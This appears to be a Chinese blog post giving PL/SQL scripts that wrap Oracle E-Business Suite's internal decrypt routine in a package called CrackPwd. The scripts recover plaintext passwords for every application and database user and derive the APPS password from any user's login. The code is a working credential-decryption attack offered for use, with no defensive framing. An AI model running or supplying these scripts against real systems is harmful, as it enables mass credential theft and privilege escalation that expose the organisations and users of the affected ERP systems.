zoukankan      html  css  js  c++  java
  • EBS 获取用户密码

    --获得用户密码--------------- begin -------------------------------------------

     

    CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

    AS

         FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

            RETURN VARCHAR2;

    END CrackPwd;

     

    CREATE OR REPLACE PACKAGE BODY CrackPwd

    AS

         FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

            RETURN VARCHAR2

         AS

            LANGUAGE JAVA

            NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

    END CrackPwd;

     

     

    SET SERVEROUTPUT ON

    DECLARE

        guestUserPwd VARCHAR2(200);

        guestUserName VARCHAR2(100);

        guestFndPwd VARCHAR2(100);

        guestEncFndPwd VARCHAR2(100);

        delim NUMBER;

    BEGIN

    guestUserPwd :='GUEST/ORACLE';--Can any user password

    IF    guestUserPwd IS NULL THEN

               guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

        END IF;

        delim := INSTR(guestUserPwd,'/');

        guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

         SELECT encrypted_foundation_password INTO guestEncFndPwd

        FROM fnd_user_view

        WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

          (end_date IS NULL OR end_date > SYSDATE);

           guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

          IF NOT (guestFndPwd IS NULL) THEN

             DBMS_OUTPUT.put_line(guestFndPwd);

          END IF;

    END;

     

     

    --6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

    SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD)    pwd    FROM    APPS.fnd_user

    --7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

    select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd

    from    APPS.fnd_oracle_userid fou order by fou.oracle_username

     

     

    /*

    4.通过任何一个User name/password取得APPS密码的方法

    SET SERVEROUTPUT ON

    DECLARE

        guestUserPwd VARCHAR2(200);

        guestUserName VARCHAR2(100);

        guestFndPwd VARCHAR2(100);

        guestEncFndPwd VARCHAR2(100);

        delim NUMBER;

    BEGIN

    guestUserPwd :='GUEST/ORACLE';--Can any user password

    IF    guestUserPwd IS NULL THEN

               guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

        END IF;

        delim := INSTR(guestUserPwd,'/');

        guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

         SELECT encrypted_foundation_password INTO guestEncFndPwd

        FROM fnd_user_view

        WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

          (end_date IS NULL OR end_date > SYSDATE);

           guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

          IF NOT (guestFndPwd IS NULL) THEN

             DBMS_OUTPUT.put_line(guestFndPwd);

          END IF;

    END;

     

    : guestUserPwd :='GUEST/ORACLE';--Can any user password

           上面这一行可以改成任何一个Userusername/password,账号和密码之间用”/”隔开

    以上程序可以用toad执行

     

     

    5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

    SET SERVEROUT ON

    DECLARE

         v_encrypted_pwd     VARCHAR2 (100);

         v_apps_pwd          VARCHAR2 (100);

         v_user_pwd          VARCHAR (100);

    BEGIN

         v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

    3C10B916D88062771250F4BE653891CA90671C74187B132118335';

    --get    ENCRYPTED_USER_PASSWORD from fnd_user

         IF v_apps_pwd IS NULL

         THEN

            v_apps_pwd := 'APPS';

         END IF;

         v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

         DBMS_OUTPUT.put_line (v_user_pwd);

    END;

     

    */

     

    ---------------------------------- end ---------------------------------------

  • 相关阅读:
    求集合的幂集【转】
    poj 1597 Uniform Generator【生成指定范围内所有随机数】
    OpenJudge计算概论-字符串排序
    OpenJudge计算概论-单词替换
    wikioi 1430 素数判定
    OpenJudge计算概论-字符串最大跨距
    wikioi 1012最大公约数和最小公倍数【根据最大公约数和最小公倍数求原来的两个数a、b】
    OpenJudge就算概论-最长单词2【寻找句子内部最长的单词】
    OpenJudge就算概论-统计字符数
    OpenJudge就算概论-过滤多余的空格
  • 原文地址:https://www.cnblogs.com/quanweiru/p/2616138.html
Copyright © 2011-2022 走看看